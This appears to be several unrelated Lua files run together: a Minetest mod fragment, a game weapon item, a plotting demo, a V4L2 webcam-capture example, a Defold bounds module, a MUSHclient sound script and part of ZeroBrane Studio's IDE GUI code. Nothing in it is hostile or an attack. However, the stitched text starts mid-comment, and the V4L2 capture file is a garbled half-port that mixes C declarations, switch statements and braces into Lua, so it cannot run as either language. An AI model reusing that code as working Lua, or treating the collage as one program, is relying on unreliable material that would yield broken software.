nodes = {"cavestuff:pebble_1", "cavestuff:pebble_2", "cavestuff:desert_pebble_1", "cavestuff:desert_pebble_2", "cavestuff:stalactite_1", "cavestuff:stalactite_2", "cavestuff:stalactite_3"},
interval = 1,
chance = 1,
action = function(pos)
minetest.set_node(pos, {name = "default:grass_2"})
end,
})]]
for _, node in pairs({"cavestuff:pebble_1", "cavestuff:pebble_2", "cavestuff:desert_pebble_1", "cavestuff:desert_pebble_2", "cavestuff:stalactite_1", "cavestuff:stalactite_2", "cavestuff:stalactite_3"}) do
minetest.register_alias(node, "air")
end
|
ITEM.name = "Bastard"
ITEM.description = "A crude SMG made out of a mix of rubber and crude steel. Firing Crude SMG Rounds."
ITEM.model = "models/devcon/mrp/weapons/w_bastard.mdl"
ITEM.class = "tfa_metro_exo_bastard"
ITEM.weaponCategory = "primary"
ITEM.width = 3
ITEM.height = 1
ITEM.chance = 45
ITEM.rare = true |
output_terminal{type = "qt", font = "Arial,14"} --available types include qt, png, eps and tex.
-- create y vector.
local y ={}
for i = 1, 20 do
y[i] = i*i
end
-- case 2.
--plot(line(y))
-- create x vector.
local x ={}
for i = 1, 20 do
x[i] = i/2
end
-- case 3.
plot(line(x, y))
-- case 4.
local vy = table2vec(y)
plot(line(vy))
-- case 5.
local vx = table2vec(x)
plot(line(vx, vy))
-- case 1.
write("vector.txt", vy)
plot(line("vector.txt"))
plot("title<line plot test> ylabel<amplitude/Hz> legend<mydata> gnuplot<set key outside>", line(y))
plot("title<line plot test> xlabel<time/s> ylabel<amplitude/Hz> legend<mydata> gnuplot<set key outside>", line(x,y,"k lp *"))
local y2 ={}
for i = 1, 20 do
y2[i] = (20-i)^2
end
-- multi lines plot.
plot("title<line plot test> xlabel<time/s> ylabel<amplitude/Hz> legend<data1;data2> gnuplot<set key center top>", line(x,y,"k lp *"), line(x,y2,"r lp +"))
-- specify a selected color scheme for multi lines.
plot("title<line plot test> xlabel<time/s> ylabel<amplitude/Hz> legend<data1;data2> gnuplot<set key center top> color<Paired>", line(x,y,"lp *"), line(x,y2,"lp +"))
-- 2D map plot for external file.
plot("title<image matrix plot> xlabel<x> ylabel<y> color<Spectral> gnuplot<set palette negative\n set size ratio -1>", map("raw_abs.txt"))
-- 3d plot
plot("title<image matrix plot> xlabel<x> ylabel<y> color<Spectral> gnuplot<set palette negative\n set size ratio -1\n set cbtics 1000>", map("raw_abs.txt", "style<3d>"))
-- 2D map plot for Lua table.
local usr_table ={}
local nrows, ncols = 32, 64
for i = 1, nrows do
for j = 1, ncols do
usr_table[(i-1)*ncols+j] = math.random(100)
end
end
local m = table2mat(usr_table, nrows, ncols)
plot("title<image matrix plot> xlabel<x> ylabel<y> color<Spectral>", map(m))
|
--[[
/*
* V4L2 video capture example
*
* This program can be used and distributed without restrictions.
*
* This program is provided with the V4L2 API
* see http://linuxtv.org/docs.php for more information
*/
--]]
require ("videodev2")
local function CLEAR(x)
libc.memset(x, 0, ffi.sizeof(x))
end
local io_method = {
IO_METHOD_READ = 0,
IO_METHOD_MMAP = 1,
IO_METHOD_USERPTR = 2,
};
ffi.cdef[[
struct buffer {
void *start;
size_t length;
};
]]
static char *dev_name;
static enum io_method io = IO_METHOD_MMAP;
static int fd = -1;
struct buffer *buffers;
static unsigned int n_buffers;
static int out_buf;
static int force_format;
static int frame_count = 70;
local function errno_exit(s)
fprintf(stderr, "%s error %d, %s\n", s, errno, strerror(errno));
exit(EXIT_FAILURE);
error();
end
local function xioctl(int fh, int request, void *arg)
local r;
do {
r = libc.ioctl(fh, request, arg);
} while (-1 == r && EINTR == errno);
return r;
end
local function process_image(const void *p, int size)
if (out_buf)
fwrite(p, size, 1, stdout);
libc.fflush(io.stderr);
libc.fprintf(io.stderr, ".");
libc.fflush(io.stdout);
end
local function read_frame()
struct v4l2_buffer buf;
unsigned int i;
switch (io) {
case IO_METHOD_READ:
if (-1 == read(fd, buffers[0].start, buffers[0].length)) {
switch (errno) {
case EAGAIN:
return 0;
case EIO:
/* Could ignore EIO, see spec. */
/* fall through */
default:
errno_exit("read");
}
}
process_image(buffers[0].start, buffers[0].length);
break;
case IO_METHOD_MMAP:
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
if (-1 == xioctl(fd, VIDIOC_DQBUF, &buf)) {
switch (errno) {
case EAGAIN:
return 0;
case EIO:
/* Could ignore EIO, see spec. */
/* fall through */
default:
errno_exit("VIDIOC_DQBUF");
}
}
assert(buf.index < n_buffers);
process_image(buffers[buf.index].start, buf.bytesused);
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
break;
case IO_METHOD_USERPTR:
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_USERPTR;
if (-1 == xioctl(fd, VIDIOC_DQBUF, &buf)) {
switch (errno) {
case EAGAIN:
return 0;
case EIO:
/* Could ignore EIO, see spec. */
/* fall through */
default:
errno_exit("VIDIOC_DQBUF");
}
}
for (i = 0; i < n_buffers; ++i)
if (buf.m.userptr == (unsigned long)buffers[i].start
&& buf.length == buffers[i].length)
break;
assert(i < n_buffers);
process_image((void *)buf.m.userptr, buf.bytesused);
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
break;
}
return 1;
end
local function mainloop()
unsigned int count;
count = frame_count;
while (count-- > 0) {
for (;;) {
fd_set fds;
struct timeval tv;
int r;
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* Timeout. */
tv.tv_sec = 2;
tv.tv_usec = 0;
r = select(fd + 1, &fds, NULL, NULL, &tv);
if (-1 == r) {
if (EINTR == errno)
continue;
errno_exit("select");
}
if (0 == r) {
fprintf(stderr, "select timeout\n");
exit(EXIT_FAILURE);
}
if (read_frame())
break;
/* EAGAIN - continue select loop. */
}
}
end
local function stop_capturing()
enum v4l2_buf_type type;
switch (io) {
case IO_METHOD_READ:
/* Nothing to do. */
break;
case IO_METHOD_MMAP:
case IO_METHOD_USERPTR:
type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (-1 == xioctl(fd, VIDIOC_STREAMOFF, &type))
errno_exit("VIDIOC_STREAMOFF");
break;
}
end
local function start_capturing()
unsigned int i;
enum v4l2_buf_type type;
switch (io) {
case IO_METHOD_READ:
/* Nothing to do. */
break;
case IO_METHOD_MMAP:
for (i = 0; i < n_buffers; ++i) {
struct v4l2_buffer buf;
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
buf.index = i;
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
}
type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (-1 == xioctl(fd, VIDIOC_STREAMON, &type))
errno_exit("VIDIOC_STREAMON");
break;
case IO_METHOD_USERPTR:
for (i = 0; i < n_buffers; ++i) {
struct v4l2_buffer buf;
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_USERPTR;
buf.index = i;
buf.m.userptr = (unsigned long)buffers[i].start;
buf.length = buffers[i].length;
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
}
type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (-1 == xioctl(fd, VIDIOC_STREAMON, &type))
errno_exit("VIDIOC_STREAMON");
break;
}
end
local function uninit_device()
unsigned int i;
switch (io) {
case IO_METHOD_READ:
free(buffers[0].start);
break;
case IO_METHOD_MMAP:
for (i = 0; i < n_buffers; ++i)
if (-1 == munmap(buffers[i].start, buffers[i].length))
errno_exit("munmap");
break;
case IO_METHOD_USERPTR:
for (i = 0; i < n_buffers; ++i)
free(buffers[i].start);
break;
}
free(buffers);
end
local function init_read(unsigned int buffer_size)
buffers = libc.calloc(1, sizeof(*buffers));
if (buffers == nil) then
fprintf(stderr, "Out of memory\n");
exit(EXIT_FAILURE);
end
buffers[0].length = buffer_size;
buffers[0].start = libc.malloc(buffer_size);
if (buffers[0].start == nil) then
fprintf(io.stderr, "Out of memory\n");
exit(EXIT_FAILURE);
end
end
local function init_mmap()
struct v4l2_requestbuffers req;
CLEAR(req);
req.count = 4;
req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
req.memory = V4L2_MEMORY_MMAP;
if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) {
if (EINVAL == errno) {
fprintf(stderr, "%s does not support "
"memory mapping\n", dev_name);
exit(EXIT_FAILURE);
} else {
errno_exit("VIDIOC_REQBUFS");
}
}
if (req.count < 2) {
fprintf(stderr, "Insufficient buffer memory on %s\n",
dev_name);
exit(EXIT_FAILURE);
}
buffers = calloc(req.count, sizeof(*buffers));
if (!buffers) {
fprintf(stderr, "Out of memory\n");
exit(EXIT_FAILURE);
}
for (n_buffers = 0; n_buffers < req.count; ++n_buffers) {
struct v4l2_buffer buf;
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
buf.index = n_buffers;
if (-1 == xioctl(fd, VIDIOC_QUERYBUF, &buf))
errno_exit("VIDIOC_QUERYBUF");
buffers[n_buffers].length = buf.length;
buffers[n_buffers].start =
mmap(NULL /* start anywhere */,
buf.length,
PROT_READ | PROT_WRITE /* required */,
MAP_SHARED /* recommended */,
fd, buf.m.offset);
if (MAP_FAILED == buffers[n_buffers].start)
errno_exit("mmap");
}
end
local function init_userp(unsigned int buffer_size)
struct v4l2_requestbuffers req;
CLEAR(req);
req.count = 4;
req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
req.memory = V4L2_MEMORY_USERPTR;
if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) {
if (EINVAL == errno) {
fprintf(stderr, "%s does not support "
"user pointer i/o\n", dev_name);
exit(EXIT_FAILURE);
} else {
errno_exit("VIDIOC_REQBUFS");
}
}
buffers = calloc(4, sizeof(*buffers));
if (!buffers) {
fprintf(stderr, "Out of memory\n");
exit(EXIT_FAILURE);
}
for (n_buffers = 0; n_buffers < 4; ++n_buffers) {
buffers[n_buffers].length = buffer_size;
buffers[n_buffers].start = malloc(buffer_size);
if (!buffers[n_buffers].start) {
fprintf(stderr, "Out of memory\n");
exit(EXIT_FAILURE);
}
}
end
local function init_device(void)
struct v4l2_capability cap;
struct v4l2_cropcap cropcap;
struct v4l2_crop crop;
struct v4l2_format fmt;
unsigned int min;
if (-1 == xioctl(fd, VIDIOC_QUERYCAP, &cap)) {
if (EINVAL == errno) {
fprintf(stderr, "%s is no V4L2 device\n",
dev_name);
exit(EXIT_FAILURE);
} else {
errno_exit("VIDIOC_QUERYCAP");
}
}
if (!(cap.capabilities & V4L2_CAP_VIDEO_CAPTURE)) {
fprintf(stderr, "%s is no video capture device\n",
dev_name);
exit(EXIT_FAILURE);
}
switch (io) {
case IO_METHOD_READ:
if (!(cap.capabilities & V4L2_CAP_READWRITE)) {
fprintf(stderr, "%s does not support read i/o\n",
dev_name);
exit(EXIT_FAILURE);
}
break;
case IO_METHOD_MMAP:
case IO_METHOD_USERPTR:
if (!(cap.capabilities & V4L2_CAP_STREAMING)) {
fprintf(stderr, "%s does not support streaming i/o\n",
dev_name);
exit(EXIT_FAILURE);
}
break;
}
/* Select video input, video standard and tune here. */
CLEAR(cropcap);
cropcap.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (0 == xioctl(fd, VIDIOC_CROPCAP, &cropcap)) {
crop.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
crop.c = cropcap.defrect; /* reset to default */
if (-1 == xioctl(fd, VIDIOC_S_CROP, &crop)) {
switch (errno) {
case EINVAL:
/* Cropping not supported. */
break;
default:
/* Errors ignored. */
break;
}
}
} else {
/* Errors ignored. */
}
CLEAR(fmt);
fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (force_format) {
fmt.fmt.pix.width = 640;
fmt.fmt.pix.height = 480;
fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_YUYV;
fmt.fmt.pix.field = V4L2_FIELD_INTERLACED;
if (-1 == xioctl(fd, VIDIOC_S_FMT, &fmt))
errno_exit("VIDIOC_S_FMT");
/* Note VIDIOC_S_FMT may change width and height. */
} else {
/* Preserve original settings as set by v4l2-ctl for example */
if (-1 == xioctl(fd, VIDIOC_G_FMT, &fmt))
errno_exit("VIDIOC_G_FMT");
}
/* Buggy driver paranoia. */
min = fmt.fmt.pix.width * 2;
if (fmt.fmt.pix.bytesperline < min)
fmt.fmt.pix.bytesperline = min;
min = fmt.fmt.pix.bytesperline * fmt.fmt.pix.height;
if (fmt.fmt.pix.sizeimage < min)
fmt.fmt.pix.sizeimage = min;
switch (io) {
case IO_METHOD_READ:
init_read(fmt.fmt.pix.sizeimage);
break;
case IO_METHOD_MMAP:
init_mmap();
break;
case IO_METHOD_USERPTR:
init_userp(fmt.fmt.pix.sizeimage);
break;
}
end
local function close_device(fd)
if (-1 == libc.close(fd)) then
errno_exit("close");
end
fd = -1;
end
local function open_device()
struct stat st;
if (-1 == stat(dev_name, &st)) {
fprintf(stderr, "Cannot identify '%s': %d, %s\n",
dev_name, errno, strerror(errno));
exit(EXIT_FAILURE);
}
if (!S_ISCHR(st.st_mode)) {
fprintf(stderr, "%s is no device\n", dev_name);
exit(EXIT_FAILURE);
}
fd = open(dev_name, O_RDWR /* required */ | O_NONBLOCK, 0);
if (-1 == fd) {
fprintf(stderr, "Cannot open '%s': %d, %s\n",
dev_name, errno, strerror(errno));
exit(EXIT_FAILURE);
}
end
local function usage(FILE *fp, int argc, char **argv)
libc.fprintf(fp,
"Usage: %s [options]\n\n"
"Version 1.3\n"
"Options:\n"
"-d | --device name Video device name [%s]\n"
"-h | --help Print this message\n"
"-m | --mmap Use memory mapped buffers [default]\n"
"-r | --read Use read() calls\n"
"-u | --userp Use application allocated buffers\n"
"-o | --output Outputs stream to stdout\n"
"-f | --format Force format to 640x480 YUYV\n"
"-c | --count Number of frames to grab [%i]\n"
"",
argv[0], dev_name, frame_count);
end
--[[
local short_options[] = "d:hmruofc:";
static const struct option
long_options[] = {
{ "device", required_argument, NULL, 'd' },
{ "help", no_argument, NULL, 'h' },
{ "mmap", no_argument, NULL, 'm' },
{ "read", no_argument, NULL, 'r' },
{ "userp", no_argument, NULL, 'u' },
{ "output", no_argument, NULL, 'o' },
{ "format", no_argument, NULL, 'f' },
{ "count", required_argument, NULL, 'c' },
{ 0, 0, 0, 0 }
};
--]]
int main(int argc, char **argv)
{
dev_name = "/dev/video0";
for (;;) {
int idx;
int c;open_device
c = getopt_long(argc, argv,
short_options, long_options, &idx);
if (-1 == c)
break;
switch (c) {
case 0: /* getopt_long() flag */
break;
case 'd':
dev_name = optarg;
break;
case 'h':
usage(stdout, argc, argv);
exit(EXIT_SUCCESS);
case 'm':
io = IO_METHOD_MMAP;
break;
case 'r':
io = IO_METHOD_READ;
break;
case 'u':
io = IO_METHOD_USERPTR;
break;
case 'o':
out_buf++;
break;
case 'f':
force_format++;
break;
case 'c':
errno = 0;
frame_count = strtol(optarg, NULL, 0);
if (errno)
errno_exit(optarg);
break;
default:
usage(stderr, argc, argv);
exit(EXIT_FAILURE);
}
}
open_device();
init_device();
start_capturing();
mainloop();
stop_capturing();
uninit_device();
close_device(fd);
fprintf(io.stderr, "\n");
return true;
end |
local M = {}
M.bounds_min = vmath.vector3(-5.0, -0.203080996871, -5.0)
M.bounds_max = vmath.vector3(5.0, 1.5429489908e-09, 5.00126552582)
M.size = vmath.vector3(10.0, 0.203080998414, 10.0012655258)
return M
|
PPI = require("ppi")
ppi = PPI.Load("aedf0cb0be5bf045860d54b7")
soundvolume=30
musicvolume=30
volid=1
priorarea="none"
currentarea="none"
rooms={}
dir=world.GetInfo(67)
print(dir)
cl={}
function getconfig(cn)
for c=1,#cl do
if cl[c].name==cn then
return cl[c].value
end
end
print("error: Unable to locate "..cn.." in config list.")
end
if tonumber(areamusic)~=nil then
ppi.stop(areamusic)
end
areamusic=0
cl={
{name="areamusic",value="on",desc="Toggles area music.",values={"on","off"}}
}
cl[2]={name="areanotify",desc="Enables or disables notifications for area changes.",value="on",values={"on","off"}}
function saverooms()
roomfile=io.open(dir.."/data/rooms.txt","w+b")
for r=1,#rooms do
roomstr=""
roomstr=rooms[r].name.."\r\n"..rooms[r].exits.."\r\n"..rooms[r].area.."\r\n"
roomfile:write(roomstr)
end
roomfile:close()
print("rooms saved")
end
function split(str, delimitor)
substrings = {}
temp = ""
for c in str:gmatch(".") do
if c == delimitor then
table.insert(substrings, temp)
temp = ""
else
temp = temp..c
end
end
if #temp then
table.insert(substrings, temp)
end
return substrings
end
function stringToTable(str)
return split(str:gsub("%s+", ""), ",")
end
function tableContains(t, a)
for i=1, #t do
if t[i] == a then
return true
end
end
return false
end
function compareTables(a, b)
if not (#a == #b) then
return false
end
for i=1, #a do
if not tableContains(b, a[i]) then
return false
end
end
return true
end
function match_room(name, exits, index)
if name==rooms[index].name and compareTables(stringToTable(exits), stringToTable(rooms[index].exits)) then
return true
end
return false
end
function loadrooms()
temp=1
tempt={}
for line in io.lines(dir.."/data/rooms.txt") do
tempt[#tempt+1]=line
temp=temp+1
if temp>3 then
rooms[#rooms+1]={name=tempt[1],exits=tempt[2],area=tempt[3]}
temp=1
tempt={}
end
end
end
function playsound(snd)
return ppi.play(dir.."sounds/"..snd,0,0,soundvolume)
end
function playloop(snd)
return ppi.play(dir.."sounds/area music/"..snd,1,0,musicvolume)
end
function channelsound(snd)
if io.open(dir.."sounds/channels/"..snd..".ogg", "r") then
playsound("channels/"..snd..".ogg")
else
playsound("channels/global.ogg")
end
end
function stopsound(snd)
if tonumber(snd)~=nil then
ppi.stop(snd)
end
end
function setarea(areaname)
if priorarea==areaname then
return
else
areamusic=stopsound(areamusic)
if getconfig("areamusic")=="on" then
areamusic=playloop(areaname..".ogg")
end
currentarea=areaname
if getconfig("areanotify")=="on" then
print("Entering "..currentarea..".")
end
end
end
function vt()
if volid==1 then
print("Changing area music volume, current value "..musicvolume..".")
volid=2
else
print("Changing global sound volume, current value "..soundvolume..".")
volid=1
end
end
function setvol(id)
if id==1 then
if volid==1 then
if soundvolume+5>100 then
print("error: Volume can not exceed 100.")
return
end
soundvolume=soundvolume+5
playsound("appears locked.ogg")
end
if volid==2 then
if musicvolume+5>100 then
print("error: volume can not exceed 100.")
return
end
musicvolume=musicvolume+5
ppi.play(dir.."sounds/appears locked.ogg",0,0,musicvolume)
end
end
if id==2 then
if volid==1 then
if soundvolume-5<0 then
print("error: muted.")
return
end
soundvolume=soundvolume-5
playsound("appears locked.ogg")
end
if volid==2 then
if musicvolume-5<0 then
print("error: muted.")
return
end
musicvolume=musicvolume-5
ppi.play(dir.."sounds/appears locked.ogg",0,0,musicvolume)
end
end
end
Accelerator("f10","vt")
Accelerator("f11","volup")
Accelerator("f12","voldown")
function saveconfig()
cfile=io.open(dir.."data/config.txt","w+b")
for c=1,#cl do
cfile:write(cl[c].value)
if c<#cl then
cfile:write("\r\n")
end
end
cfile:close()
cfile=io.open(dir.."data/vol.txt","w+b")
cfile:write(soundvolume.."\r\n"..musicvolume)
cfile:close()
end
function loadconfig()
c=1
for line in io.lines(dir.."data/config.txt") do
cl[c].value=line
c=c+1
end
a=1
for line in io.lines(dir.."data/vol.txt") do
if a==1 then
soundvolume=tonumber(line)
end
if a==2 then
musicvolume=tonumber(line)
end
a=a+1
end
end
loadrooms()
loadconfig()
print("Setup successfull.")
function ExecuteNoStack(cmd)
local s = GetOption("enable_command_stack")
SetOption("enable_command_stack", 0)
Execute(cmd)
SetOption("enable_command_stack", s)
end
|
-- Copyright 2011-15 Paul Kulchenko, ZeroBrane LLC
-- authors: Luxinia Dev (Eike Decker & Christoph Kubisch)
-- Lomtik Software (J. Winwood & John Labenski)
---------------------------------------------------------
local ide = ide
local unpack = table.unpack or unpack
-- Pick some reasonable fixed width fonts to use for the editor
local function setFont(style, config)
return wx.wxFont(config.fontsize or 10, wx.wxFONTFAMILY_MODERN, style,
wx.wxFONTWEIGHT_NORMAL, false, config.fontname or "",
config.fontencoding or wx.wxFONTENCODING_DEFAULT)
end
ide.font.eNormal = setFont(wx.wxFONTSTYLE_NORMAL, ide.config.editor)
ide.font.eItalic = setFont(wx.wxFONTSTYLE_ITALIC, ide.config.editor)
ide.font.oNormal = setFont(wx.wxFONTSTYLE_NORMAL, ide.config.outputshell)
ide.font.oItalic = setFont(wx.wxFONTSTYLE_ITALIC, ide.config.outputshell)
-- treeCtrl font requires slightly different handling
do local gui, config = wx.wxTreeCtrl():GetFont(), ide.config.filetree
if config.fontsize then gui:SetPointSize(config.fontsize) end
if config.fontname then gui:SetFaceName(config.fontname) end
ide.font.fNormal = gui
end
-- ----------------------------------------------------------------------------
-- Create the wxFrame
-- ----------------------------------------------------------------------------
local function createFrame()
local frame = wx.wxFrame(wx.NULL, wx.wxID_ANY, GetIDEString("editor"),
wx.wxDefaultPosition, wx.wxSize(1100, 700))
frame:Center()
-- wrap into protected call as DragAcceptFiles fails on MacOS with
-- wxwidgets 2.8.12 even though it should work according to change notes
-- for 2.8.10: "Implemented wxWindow::DragAcceptFiles() on all platforms."
pcall(function() frame:DragAcceptFiles(true) end)
frame:Connect(wx.wxEVT_DROP_FILES,function(evt)
local files = evt:GetFiles()
if not files or #files == 0 then return end
for _, f in ipairs(files) do
LoadFile(f,nil,true)
end
end)
-- update best size of the toolbar after resizing
frame:Connect(wx.wxEVT_SIZE, function(event)
local mgr = ide:GetUIManager()
local toolbar = mgr:GetPane("toolbar")
if toolbar and toolbar:IsOk() then
toolbar:BestSize(event:GetSize():GetWidth(), ide:GetToolBar():GetClientSize():GetHeight())
mgr:Update()
end
end)
local menuBar = wx.wxMenuBar()
local statusBar = frame:CreateStatusBar(5)
local section_width = statusBar:GetTextExtent("OVRW")
statusBar:SetStatusStyles({wx.wxSB_FLAT, wx.wxSB_FLAT, wx.wxSB_FLAT, wx.wxSB_FLAT, wx.wxSB_FLAT})
statusBar:SetStatusWidths({-1, section_width, section_width, section_width*5, section_width*4})
statusBar:SetStatusText(GetIDEString("statuswelcome"))
statusBar:Connect(wx.wxEVT_LEFT_DOWN, function (event)
local rect = wx.wxRect()
statusBar:GetFieldRect(4, rect)
if rect:Contains(event:GetPosition()) then -- click on the interpreter
local menuitem = ide:FindMenuItem(ID.INTERPRETER)
if menuitem then
local menu = ide:CloneMenu(menuitem:GetSubMenu())
if menu then statusBar:PopupMenu(menu) end
end
end
end)
local mgr = wxaui.wxAuiManager()
mgr:SetManagedWindow(frame)
-- allow the panes to be larger than the defalt 1/3 of the main window size
mgr:SetDockSizeConstraint(0.8,0.8)
frame.menuBar = menuBar
frame.statusBar = statusBar
frame.uimgr = mgr
return frame
end
local function SCinB(id) -- shortcut in brackets
local shortcut = KSC(id):gsub("\t","")
return shortcut and #shortcut > 0 and (" ("..shortcut..")") or ""
end
local function menuDropDownPosition(event)
local tb = event:GetEventObject():DynamicCast('wxAuiToolBar')
local rect = tb:GetToolRect(event:GetId())
return ide.frame:ScreenToClient(tb:ClientToScreen(rect:GetBottomLeft()))
end
local function tbIconSize()
-- use large icons by default on OSX and on large screens
local iconsize = (tonumber(ide.config.toolbar and ide.config.toolbar.iconsize)
or ((ide.osname == 'Macintosh' or wx.wxGetClientDisplayRect():GetWidth() >= 1500) and 24 or 16))
if iconsize ~= 24 then iconsize = 16 end
return iconsize
end
local function createToolBar(frame)
local toolBar = wxaui.wxAuiToolBar(frame, wx.wxID_ANY, wx.wxDefaultPosition, wx.wxDefaultSize,
wxaui.wxAUI_TB_PLAIN_BACKGROUND)
-- there are two sets of icons: use 24 on OSX and 16 on others.
local iconsize = tbIconSize()
local toolBmpSize = wx.wxSize(iconsize, iconsize)
local icons, prev = ide.config.toolbar.icons
for _, id in ipairs(icons) do
if icons[id] ~= false then -- skip explicitly disabled icons
if id == ID_SEPARATOR then
-- make sure that there are no two separators next to each other;
-- this may happen when some of the icons are disabled.
if prev ~= ID_SEPARATOR then toolBar:AddSeparator() end
else
local iconmap = ide.config.toolbar.iconmap[id]
if iconmap then
local icon, description = unpack(iconmap)
local isbitmap = type(icon) == "userdata" and icon:GetClassInfo():GetClassName() == "wxBitmap"
local bitmap = isbitmap and icon or ide:GetBitmap(icon, "TOOLBAR", toolBmpSize)
toolBar:AddTool(id, "", bitmap, (TR)(description)..SCinB(id))
end
end
prev = id
end
end
toolBar:SetToolDropDown(ID_OPEN, true)
toolBar:Connect(ID_OPEN, wxaui.wxEVT_COMMAND_AUITOOLBAR_TOOL_DROPDOWN, function(event)
if event:IsDropDownClicked() then
local menu = wx.wxMenu()
FileRecentListUpdate(menu)
toolBar:PopupMenu(menu, menuDropDownPosition(event))
else
event:Skip()
end
end)
toolBar:SetToolDropDown(ID_PROJECTDIRCHOOSE, true)
toolBar:Connect(ID_PROJECTDIRCHOOSE, wxaui.wxEVT_COMMAND_AUITOOLBAR_TOOL_DROPDOWN, function(event)
if event:IsDropDownClicked() then
local menu = wx.wxMenu()
FileTreeProjectListUpdate(menu, 0)
toolBar:PopupMenu(menu, menuDropDownPosition(event))
else
event:Skip()
end
end)
toolBar:GetArtProvider():SetElementSize(wxaui.wxAUI_TBART_GRIPPER_SIZE, 0)
toolBar:Realize()
frame.toolBar = toolBar
return toolBar
end
local function createNotebook(frame)
-- notebook for editors
local notebook = wxaui.wxAuiNotebook(frame, wx.wxID_ANY,
wx.wxDefaultPosition, wx.wxDefaultSize,
wxaui.wxAUI_NB_DEFAULT_STYLE + wxaui.wxAUI_NB_TAB_EXTERNAL_MOVE
+ wxaui.wxAUI_NB_WINDOWLIST_BUTTON + wx.wxNO_BORDER)
-- wxEVT_SET_FOCUS could be used, but it only works on Windows with wx2.9.5+
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_PAGE_CHANGED,
function (event)
local ed = GetEditor(notebook:GetSelection())
local doc = ed and ed:GetId() and ide.openDocuments[ed:GetId()]
-- skip activation when any of the following is true:
-- (1) there is no document yet, the editor tab was just added,
-- so no changes needed as there will be a proper later call;
-- (2) the page change event was triggered after a tab is closed;
-- (3) on OSX from AddPage event when changing from the last tab
-- (this is to work around a duplicate event generated in this case
-- that first activates the added tab and then some other tab (2.9.5)).
local double = (ide.osname == 'Macintosh'
and event:GetOldSelection() == notebook:GetPageCount()
and debug:traceback():find("'AddPage'"))
if doc and event:GetOldSelection() ~= -1 and not double then
SetEditorSelection(notebook:GetSelection())
end
end)
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_PAGE_CLOSE,
function (event)
ClosePage(event:GetSelection())
event:Veto() -- don't propagate the event as the page is already closed
end)
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_BG_DCLICK,
function (event)
-- as this event can be on different tab controls,
-- need to find the control to add the page to
local tabctrl = event:GetEventObject():DynamicCast("wxAuiTabCtrl")
-- check if the active page is in the current control
local active = tabctrl:GetActivePage()
if (active >= 0 and tabctrl:GetPage(active).window
~= notebook:GetPage(notebook:GetSelection())) then
-- if not, need to activate the control that was clicked on;
-- find the last window and switch to it (assuming there is always one)
assert(tabctrl:GetPageCount() >= 1, "Expected at least one page in a notebook tab control.")
local lastwin = tabctrl:GetPage(tabctrl:GetPageCount()-1).window
notebook:SetSelection(notebook:GetPageIndex(lastwin))
end
NewFile()
end)
-- tabs can be dragged around which may change their indexes;
-- when this happens stored indexes need to be updated to reflect the change.
-- there is DRAG_DONE event that I'd prefer to use, but it
-- doesn't fire for some reason using wxwidgets 2.9.5 (tested on Windows).
if ide.wxver >= "2.9.5" then
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_END_DRAG,
function (event)
for page = 0, notebook:GetPageCount()-1 do
local editor = GetEditor(page)
if editor then ide.openDocuments[editor:GetId()].index = page end
end
-- first set the selection on the dragged tab to reset its state
notebook:SetSelection(event:GetSelection())
-- select the content of the tab after drag is done
SetEditorSelection(event:GetSelection())
event:Skip()
end)
end
local selection
notebook:Connect(wxaui.wxEVT_COMMAND_AUINOTEBOOK_TAB_RIGHT_UP,
function (event)
-- event:GetSelection() returns the index *inside the current tab*;
-- for split notebooks, this may not be the same as the index
-- in the notebook we are interested in here
local idx = event:GetSelection()
local tabctrl = event:GetEventObject():DynamicCast("wxAuiTabCtrl")
-- save tab index the event is for
selection = notebook:GetPageIndex(tabctrl:GetPage(idx).window)
local menu = wx.wxMenu {
{ ID_CLOSE, TR("&Close Page") },
{ ID_CLOSEALL, TR("Close A&ll Pages") },
{ ID_CLOSEOTHER, TR("Close &Other Pages") },
{ },
{ ID_SAVE, TR("&Save") },
{ ID_SAVEAS, TR("Save &As...") },
{ },
{ ID_COPYFULLPATH, TR("Copy Full Path") },
{ ID_SHOWLOCATION, TR("Show Location") },
}
PackageEventHandle("onMenuEditorTab", menu, notebook, event, selection)
notebook:PopupMenu(menu)
end)
local function IfAtLeastOneTab(event)
event:Enable(notebook:GetPageCount() > 0)
if ide.osname == 'Macintosh' and (event:GetId() == ID_CLOSEALL
or event:GetId() == ID_CLOSE and notebook:GetPageCount() <= 1)
then event:Enable(false) end
end
notebook:Connect(ID_SAVE, wx.wxEVT_COMMAND_MENU_SELECTED, function ()
ide:GetDocument(GetEditor(selection)):Save()
end)
notebook:Connect(ID_SAVE, wx.wxEVT_UPDATE_UI, function(event)
local doc = ide:GetDocument(GetEditor(selection))
event:Enable(doc:IsModified() or doc:IsNew())
end)
notebook:Connect(ID_SAVEAS, wx.wxEVT_COMMAND_MENU_SELECTED, function()
SaveFileAs(GetEditor(selection))
end)
